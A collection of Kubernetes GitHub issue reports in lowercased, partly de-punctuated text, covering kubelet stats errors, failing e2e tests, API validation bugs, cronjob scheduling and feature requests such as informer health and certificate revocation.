 \r   what happened  :\r \r kubelet v1.8.1 report a lot of error about docker cgroup stats and system container stats. \r \r    \r summary.go:92  failed to get system container stats for \ /system.slice/kubelet.service\ : failed to get cgroup stats for \ /system.slice/kubelet.service\ : failed to get container info for \ /system.slice/kubelet.service\ : unknown container \ /system.slice/kubelet.service\ \r \r summary.go:92  failed to get system container stats for \ /system.slice/docker.service\ : failed to get cgroup stats for \ /system.slice/docker.service\ : failed to get container info for \ /system.slice/docker.service\ : unknown container \ /system.slice/docker.service\ \r    \r \r   what you expected to happen  :\r \r not any error ?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r install kubelet v1.8.1 and docker 17.09.0-ce on debian.\r \r   anything else we need to know?  :\r \r    \r root@alabama:~  ls -alh /sys/fs/cgroup/systemd/system.slice/docker.service\r total 0\r drwxr-xr-x  2 root root 0 oct 16 15:52 .\r drwxr-xr-x 59 root root 0 oct 16 15:52 ..\r -rw-r--r--  1 root root 0 oct 16 15:56 cgroup.clone_children\r -rw-r--r--  1 root root 0 oct 16 15:56 cgroup.procs\r -rw-r--r--  1 root root 0 oct 16 15:56 notify_on_release\r -rw-r--r--  1 root root 0 oct 16 15:56 tasks\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.1\r - cloud provider or hardware configuration  :  premise debian 9.1 vms\r - kernel  e.g.  uname -a  : 4.9.0-3-amd64\r - install tools: calico node + cni

/  \r this test case started failing recently and affects a number of jobs:  triage report  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig-autoscaling%5c%5d%20%5c%5bhpa%5c%5d%20horizontal%20pod%20autoscaling%20%5c scale%20resource%3a%20cpu%5c %20%5c%5bsig-autoscaling%5c%5d%20%5c%5bserial%5c%5d%20%5c%5bslow%5c%5d%20replicaset%20should%20scale b75045e2cb613e12dca1 \r \r this is affecting multiple jobs on the  release-master-blocking  https://k8s-testgrid.appspot.com/sig-release-master-blocking  testgrid dashboard, and prevents us from cutting 1.9.0-alpha.2  kubernetes/sig-release 22 . is there work ongoing to bring this job back to green?\r \r  triage cluster b75045e2cb613e12dca1  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig-autoscaling%5c%5d%20%5c%5bhpa%5c%5d%20horizontal%20pod%20autoscaling%20%5c scale%20resource%3a%20cpu%5c %20%5c%5bsig-autoscaling%5c%5d%20%5c%5bserial%5c%5d%20%5c%5bslow%5c%5d%20replicaset%20should%20scale b75045e2cb613e12dca1 \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling/horizontal_pod_autoscaling.go:39\r timeout waiting 15m0s for 5 replicas\r expected error:\r     < errors.errorstring | 0xc4202cafe0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling/horizontal_pod_autoscaling.go:128\r    \r \r suspect range from  gci-gce-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-serial : https://github.com/kubernetes/kubernetes/compare/060b4b8b8...51244eb0f\r \r suspect range from  gci-gke-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial : https://github.com/kubernetes/kubernetes/compare/b1e2d7a9d...82a52a901

\r \r \r \r \r when we use a shared informer, after cachesync, we can not know whether the underlying reflector works well. if reflector.listerwatcher can not list/watch successfully due to network, the resource we can use is outdated, which is not acceptable we we use a kind of configurations resource.  \r \r 1.  we should provide a way to let client know whether informer works well now.\r 2.  we should provide a way to let client know when/why the informer underlying list/watch fail.\r \r so client can decide to goon working or send warning info to monitor system or something else. \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r  \r /area ipvs\r \r \r   what happened  :\r \r per  60501, kubeadm init doesn't support the --feature-gates=supportipvsproxymode=true flag anymore since ipvs is in beta and not alpha anymore. we should enable ipvs feature gateway by default to make kubeadm set up ipvs proxy.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r hyperkube supports a number of short aliases for commands, such as  apiserver ,  controller-manager ,  proxy ,  scheduler , etc, rather than the longer  kube-apiserver ,  kube-controller-manager ,  kube-proxy ,  kube-scheduler  etc.\r \r there are comments indicating this is \ unfortunate\ \r https://github.com/kubernetes/kubernetes/blob/ef195428a0c5b16e3f3621b7fe59fa151ca28929/cmd/hyperkube/main.go l90-l94\r \r and we still currently create these aliases in the hyperkube docker image:\r https://github.com/kubernetes/kubernetes/blob/ef195428a0c5b16e3f3621b7fe59fa151ca28929/cluster/images/hyperkube/dockerfile l17-l29\r \r it'd be nice to simplify this, assuming we can find all uses of the short aliases and remove them.\r \r  \r not sure which sig should own this, so tagging a few.\r  cluster-lifecycle cli\r \r cc @luxas @mikedanese

what happened  :\r \r when i try to upgrade vendor of kube-batch to kubernetes 1.12, i got following errors : \r \r    \r klaus-mademacbook-air:kube-batch klaus$ make\r mkdir -p _output/bin\r go build  -ldflags \  \\\r \t-x 'github.com/kubernetes-sigs/kube-batch/pkg/version.gitsha= git rev-parse head ' \\\r \t-x 'github.com/kubernetes-sigs/kube-batch/pkg/version.built= date \ +%y-%m-%d %h:%m:%s\  '   \\\r \t-x 'github.com/kubernetes-sigs/kube-batch/pkg/version.version=v0.2'\  \\\r \t-o _output/bin/kube-batch ./cmd/kube-batch\r   github.com/kubernetes-sigs/kube-batch/vendor/k8s.io/kubernetes/pkg/apis/core/v1\r vendor/k8s.io/kubernetes/pkg/apis/core/v1/zz_generated.conversion.go:4966:16: cannot use   \ github.com/kubernetes-sigs/kube-batch/vendor/k8s.io/api/core/v1\ .glusterfsvolumesource  unsafe.pointer in.glusterfs    type  \ github.com/kubernetes-sigs/kube-batch/vendor/k8s.io/api/core/v1\ .glusterfsvolumesource  as type  \ github.com/kubernetes-sigs/kube-batch/vendor/k8s.io/api/core/v1\ .glusterfspersistentvolumesource in assignment\r make:      kube-batch  error 2\r    \r \r btw, we only import scheduler's predicates in kube-batch , but we got azure : \r \r    \r untracked files:\r    use \ git add <file>...\  to include in what will be committed \r \r \tvendor/github.com/azure/\r         ......\r    \r \r <!-- do not edit below this line -->\r 

the  docker  multi-node   http://kubernetes.io/docs/getting-started-guides/docker-multinode/  setup guide seems to be broken, see http://stackoverflow.com/questions/36559737/kubernetes-docker-multinode-dns-deploy-error-failedmount-failedsync  @brendandburns @resouer @luxas @vishh @kubernetes/docs

at high scales and densities, the internal memory usage of our structs becomes relevant to controllers maintaining caches and the amount of memory used by the api server caches.  we have evidence  https://github.com/coreos/kscale/pull/37/files diff-a423e914cbd27c95d2c0b950e2e4ee5br14  that in memory usage of pods is egregiously inflated by use of maps  60% or more .  we should consider representing all of our small / internal external maps by \ array maps\  - especially annotations and labels  which are on all objects  and resource lists.  this would likely have a disproportionate impact on cache memory usage  i suspect we could save 30-60% of the heap use for memory .  hypothetical:      type stringentry {   key string   value string } type map   stringentry  func  m  map  len   { ... } func  m  map  get key string  string { ... } ...  func  m  map  marshaljson      byte, error  { ... write out as json map } func  m  map  unmarshaljson   byte   error  { ... read as json map }       we would identify maps with less than o 50  items in common use and consider this to be a required decision on new api fields.  internal and external types would both have this.  we would need to alter labels to have a  selectorfrommap . json and protobuf serialization must be identical to the internal types - we wouldn't want to create additional work in order to do that conversion.    downsides:  - makes code that uses these structs slightly more complicated to use.  alternatives: - investigate whether native go maps can be tuned to use less space ootb - ???  steps: - verify usage via testing - investigate alternatives - prototype and flush out issues with serialization.

hey guys just tried opening https://kubernetes.io/docs/getting-started-guides/juju/ found  here  https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/juju.md  but it resulted in 404 error\r \r thanks :

reading and then writing a  terminated?  job from the server should be a no-op and be valid.  instead, i get an immutable update error from pod template  which is wrong, and might be related to defaulting or protobuf serialization , and the immutable field error prints the entire pod template, which is also terrible.\r \r 1. find out why a no-op update on jobs doesn't complete successfully  this blocks storage migration \r 2. fix the validation error for immutable pod template specs to not dump the go string representation of the entire struct - that's horrible and unhelpful.\r \r against kube 1.6, have not tested 1.7, during a storage update from json -> protobuf, which prevents those jobs from being updated.

is this a bug report or feature request?  :\r  \r there is the ability to sign certificates using kubernetes since 1.7.0: https://kubernetes.io/docs/tasks/tls/managing-tls-in-a-cluster/\r \r it would be nice if there is a mechanism to revoke a given certificate if we no longer need it. \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r unable to create endpoint on v1.\r \r   what you expected to happen  :\r create an endpoint\r \r   how to reproduce it  as minimally and precisely as possible   :\r see yaml below\r \r    \r apiversion: v1\r kind: endpoints\r metadata:\r   name: example-endpoint\r subsets:\r   - addresses:\r     - ip: 10.0.0.10\r   - ports:\r     - name: http\r       port: 80\r       protocol: tcp\r    \r result:\r    \r endpoints \ example-endpoint\  is invalid: subsets 1 : required value: must specify  addresses  or  notreadyaddresses \r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r bare metal\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux 3.10.0-693.11.6.el7.x86_64\r    \r - install tools:\r kubeadm\r flannel\r \r my apologies if this has already been reported. my quick search on the issue did not have any results.\r \r

the attach detach controller  pr https://github.com/kubernetes/kubernetes/pull/25457  introduces shared pv/pvc informers that all controllers can share. after it goes in, we should refactor  pkg/controller/volume/persistentvolume/controller_base.go  to use them.

gci test failing:  kubernetes-e2e-gci-gce-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node   https://k8s-testgrid.appspot.com/google-gce gci-gce-serial-release-1.3

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-parallel/499/  failed:  k8s.io  pods should contain environment variables for services  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 oct  3 18:52:37.049: couldn't delete ns: \ e2e-tests-pods-38pwj\ : an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-pods-38pwj/persistentvolumeclaims\\\ \   has prevented the request from succeeding  get persistentvolumeclaims   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-pods-38pwj/persistentvolumeclaims\\\\\\\ \\\   has prevented the request from succeeding  get persistentvolumeclaims \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc820bc1540 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2337/ failed:  k8s.io  projected optional updates should be reflected in volume  conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:710 timed out after 300.000s. expected     <string>: error reading file /etc/projected-configmap-volumes/create/data-1: open /etc/projected-configmap-volumes/create/data-1: no such file or directory, retrying      to contain substring     <string>: value-1 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:707

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kubelet securitycontext\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.7.0-beta/1.8.0  head \r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : gci\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  : docker runtime  rkt seems to have a different code path, but i haven't checked it \r \r \r   what happened  : containers could not run as root when \ runasnonroot=false\ \r \r \r   what you expected to happen  : containers could run as root\r \r \r   how to reproduce it    as minimally and precisely as possible : add a securitycontext to a container, don't set privileged, do set runasnonroot, use an image that runs as root. the podsecuritypolicy admission controller will always set a securitycontext if it's not specified, and cause this to be hit more often.\r \r \r   anything else we need to know  : the bug is in the checks here:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kuberuntime/security_context.go l73\r \r i have a fix in https://github.com/kubernetes/kubernetes/pull/46064 but that going in depends on an extension being granted. we may want to fix the bug regardless.

i'd like to suggest to move certain go types from core/v1 to meta/v1. here is the list:\r - resourcename\r - conditionstatus\r - protocol\r - objectreference\r - localobjectreference\r - serializedreference\r - envvar\r - envfromsource\r \r motivation: they are not top level api objects like e.g.  deployment  or  service  and are used in other non-core k8.io/api packages. they are more like  typemeta  and  objectmeta .\r by moving them to meta/v1 coupling between api type packages will be reduced. also think about external users who want to reuse structs like  envvar  and don't want/need to depend on anything else core/v1.\r i think about it that way: if core/v1 is deprecated and finally removed  thought experiment! , which go structs/types that are not api types makes sense to keep?\r \r also 1.8 will break code that depends on api types because of move to k8.io/api. so maybe its a good opportunity to do move reshuffling?\r \r there are probably more types that could be moved and/or not all of the ones i listed above should be moved. i just quickly compiled this list to get some feedback on the idea, didn't do deep analysis.\r \r   \r @deads2k @caesarxuchao

i'm consistently seeing the following failure in those runs:\r \r    \r i0806 06:39:32.654  \u001b 0;31m timeout waiting for all hollow-nodes to become running. \u001b 0m\r i0806 06:39:33.270  found only 494 ready hollow-nodes while waiting for 500.\r i0806 06:39:35.032  495 hollow-nodes are reported as 'running'\r i0806 06:39:35.034  6 hollow-nodes are reported as not 'running'\r i0806 06:39:35.036  name ready status restarts age hollow-node-4gt6q 0/3 pending 0 29m hollow-node-b2lqz 0/3 pending 0 29m hollow-node-fzjbb 0/3 pending 0 29m hollow-node-jp5qf 0/3 pending 0 29m hollow-node-rdvfr 0/3 pending 0 29m hollow-node-t299r 0/3 pending 0 29m\r    \r \r seems like they're failing scheduling. will look into it.\r \r cc @k8s-mirror-scalability-bugs @gmarek

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r /assign\r \r   what happened  :\r not topology aware yet.  just the logic to trigger provisioning  both in-tree and external  in the scheduler.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r most of read and write operations are not covered for  /v1alpha1/priorityclasses/  api endpoints in e2e tests.\r \r   what you expected to happen  :\r expecting to cover all read and write operations for priorityclasses in e2e tests so that these would be ready to be considered for conformance tests.\r \r api groups are -\r \r http verbs | urls\r -- | --\r delete | /apis/scheduling.k8s.io/v1alpha1/priorityclasses/{name}\r get | /apis/scheduling.k8s.io/v1alpha1/priorityclasses/{name}\r patch | /apis/scheduling.k8s.io/v1alpha1/priorityclasses/{name}\r put | /apis/scheduling.k8s.io/v1alpha1/priorityclasses/{name}\r delete | /apis/scheduling.k8s.io/v1alpha1/priorityclasses\r get | /apis/scheduling.k8s.io/v1alpha1/priorityclasses\r post | /apis/scheduling.k8s.io/v1alpha1/priorityclasses\r \r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r needs to enable feature-gate for alpha features and pass below api-server flags while setting up cluster\r -   --feature-gate=allalpha=true,podpriority=true \r pass runtime-config and admission-control flags to api-server\r -  --runtime-config=scheduling.k8s.io/v1alpha1=true \r -  --admission-control=namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota, \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r   what happened  :\r   e2e test:     sig-api-machinery  garbage collector should delete jobs and pods created by cronjob\r \r with respect to the  discussion  https://github.com/cncf/k8s-conformance/issues/221 issuecomment-397375358  to promote e2e tests for conformance, while going through codebase, it is observed that this e2e test case is using   _ cronjob resource  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/apimachinery/garbage_collector.go l1109  which is under v1beta1_  . so we may not promote it to conformance as it is not meeting the  conformance guidelines  https://github.com/brahmaroutu/community/blob/4bd34702de0f138610e8e27e9484efe9fb770d46/contributors/devel/conformance-guidelines.md conformance-test-guidelines .\r \r   what you expected to happen  :\r 1. should not promote for conforamnce at this point in time\r 2. thoughts on migrating cronjob resource from beta to stable release.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r any suggestion or feedback is expected in order to promote this e2e test.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.1047+3abba251605909-dirty\ , gitcommit:\ 3abba25160590921fec61236ba012a8bbd757d6c\ , gittreestate:\ dirty\ , builddate:\ 2018-06-18t07:29:01z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.1047+3abba251605909-dirty\ , gitcommit:\ 3abba25160590921fec61236ba012a8bbd757d6c\ , gittreestate:\ dirty\ , builddate:\ 2018-06-18t07:29:01z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r cc @fedebongio, @aishsundar\r /area conformance\r @kubernetes/sig-architecture-feature-requests

cluster creation failing in the following tests:\r - gce-cos-1.11-alphafeatures\r - gke-cos-1.11-default\r - gke-cos-1.11-slow\r - gke-cos-1.11-serial\r - gke-cos-1.11-ingress\r - gke-cos-1.11-reboot\r - gke-device-plugin-gpu-1.11\r \r this needs to be fixed in order to unblock releasing 1.11.3\r \r cc @krzyzacy @bentheelder @kubernetes/sig-gcp-test-failures @kubernetes/sig-testing

each container definition in a pod might have an \ env\  section for env variables. is there some way to validate on pod creation that the env variables defined are actually the ones required by that image? there might be a typo, or a missing env which can cause the image to fail starting.  related to: https://github.com/openshift/origin/pull/1761

currently there is only a link to  docs/design/admission_control_limit_range.md . i would expect to see there some description of the included files, commands to be executed etc, just like in the other examples.

as part of getting rktnetes feature complete i've been focusin on cadivsor to get heapster working for hpa.  it seems to be working, and i can get metrics, but i see a few issues with hpa that i don't know how to solve  or if they are really problems   1  metrics seem to take too long to show up, so get warnings about not having metrics for nodes - perhaps this is expected  i.e.      e2e-tests-horizontal-pod-autoscaling-ch153   2016-04-01 14:10:59 -0700 pdt   2016-04-01 14:12:04 -0700 pdt   8         test-deployment   horizontalpodautoscaler             warning   failedgetmetrics   {horizontal-pod-autoscaler }   failed to get cpu consumption and request: metrics obtained for 0/5 of pods e2e-tests-horizontal-pod-autoscaling-ch153   2016-04-01 14:10:59 -0700 pdt   2016-04-01 14:12:04 -0700 pdt   8         test-deployment   horizontalpodautoscaler             warning   failedcomputereplicas   {horizontal-pod-autoscaler }   failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 0/5 of pods      2  when things do work, many times  not all  it errors out updating the status      e2e-tests-horizontal-pod-autoscaling-ch153   2016-04-01 14:12:33 -0700 pdt   2016-04-01 14:12:33 -0700 pdt   1         test-deployment   horizontalpodautoscaler             warning   failedupdatestatus   {horizontal-pod-autoscaler }   operation cannot be fulfilled on horizontalpodautoscalers.extensions \ test-deployment\ : the object has been modified; please apply your changes to the latest version and try again      3  it seems the metrics are off in rktenetes.  for example a test that goes from 1 to 3 to 5 pods might jump directly to 5 pods and test just waits till its 3 pods but never get there.  any help would be appreciated.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : api namespace path slash missing\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.1\ , gitcommit:\ 8c6525e891be1c44cbdd6fcf53097a3adb11d68c\ , gittreestate:\ clean\ , builddate:\ 2016-11-21t05:16:10z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.1\ , gitcommit:\ 8c6525e891be1c44cbdd6fcf53097a3adb11d68c\ , gittreestate:\ clean\ , builddate:\ 2016-11-21t05:16:10z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : vagrant environment on linux x86_64\r -   os    e.g. from /etc/os-release : rhel clone\r -   kernel    e.g.  uname -a  : linux csos-builder.csos.io 4.8.8-1.el7.csos.x86_64  1 smp wed nov 16 08:51:39 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : installed from rpms generated with a build script\r -   others  : \r \r \r   what happened  :\r the selflink namespace path doesn't have a slash between the end of the namespace and the resource itself.\r this was tracked down as a side effect of debugging why heapster was no longer processing pod metrics. here curl output  compacted with jq  from a fresh machine:\r    \r   curl -s -k https://172.27.1.10:6443/api/v1/namespaces\r {\ kind\ :\ namespacelist\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ selflink\ :\ /api/v1/namespaces/\ ,\ resourceversion\ :\ 1807\ },\ items\ : {\ metadata\ :{\ name\ :\ default\ ,\ selflink\ :\ /api/v1/namespacesdefault\ ,\ uid\ :\ 55a50c17-b068-11e6-a4d3-080027a649ab\ ,\ resourceversion\ :\ 6\ ,\ creationtimestamp\ :\ 2016-11-22t04:01:24z\ },\ spec\ :{\ finalizers\ : \ kubernetes\  },\ status\ :{\ phase\ :\ active\ }},{\ metadata\ :{\ name\ :\ kube-system\ ,\ selflink\ :\ /api/v1/namespaceskube-system\ ,\ uid\ :\ 56333705-b068-11e6-a4d3-080027a649ab\ ,\ resourceversion\ :\ 26\ ,\ creationtimestamp\ :\ 2016-11-22t04:01:25z\ },\ spec\ :{\ finalizers\ : \ kubernetes\  },\ status\ :{\ phase\ :\ active\ }} }\r    \r \r in addition this also affects the  watch  verb on a resource  output trimmed :\r    \r   curl -s -k https://172.27.1.10:6443/api/v1/watch/nodes\r {\ type\ :\ added\ ,\ object\ :{\ kind\ :\ node\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ builder\ ,\ selflink\ :\ /api/v1/nodesbuilder\ ,\ uid\ :\ 55b6a17a-b068-11e6-a4d3-080027a649ab\ ,\ resourceversion\ :\ 4209\ ,\ creationtimestamp\ :\ 2016-11-22t04:01:24z\ ,\ labels\ :\r    \r \r running  kubectl  returns correct output:\r    \r   kubectl get node \r name           status    age\r builder   ready     59m\r    \r \r   what you expected to happen  :\r expected the rest interface to return the correct selflink path\r \r   how to reproduce it    as minimally and precisely as possible :\r build v1.5.0-beta.1 from git and run the above curl commands.\r \r \r   anything else do we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : baremetal\r -   os    e.g. from /etc/os-release : ol7\r -   kernel    e.g.  uname -a  : 4.1.12-94.2.1.el7uek.x86_64\r -   install tools  : custom semi self-hosted\r -   others  :\r \r \r   what happened  :\r \r i tried to reenable a cronjob that i suspended this weekend; however, it won't schedule again. i see this in the controller manager logs a lot.\r \r    \r cannot determine if <namespace>/<cronjob> needs to be started: too many missed start time  > 100 . set or decrease .spec.startingdeadlineseconds or check clock skew.\r    \r \r  .spec.startingdeadlineseconds  is not set and there is no clock skew. \r \r   what you expected to happen  :\r \r i expect that when i remove the suspension that it would resume scheduling. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r i haven't tried reproducing it but i would assume if you suspend a cron for some amount of time then try to enable it again that it won't be scheduled. \r \r   anything else we need to know  :\r \r

flaky job: pr:pull-kubernetes-e2e-gce-etcd3  flakes in the past week:   169    consistency:   80.00%         flakiest tests by flake count: | test | flake count | | --- | --- | | stage | 110 | |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | 43 | |  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light should scale from 1 pod to 2 pods | 37 |       previously closed issues for this job flaking:  46741  47697  47220    <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | | jszczepkowski |  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light should scale from 1 pod to 2 pods | | sig/apps |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | | sig/autoscaling |  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light should scale from 1 pod to 2 pods |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

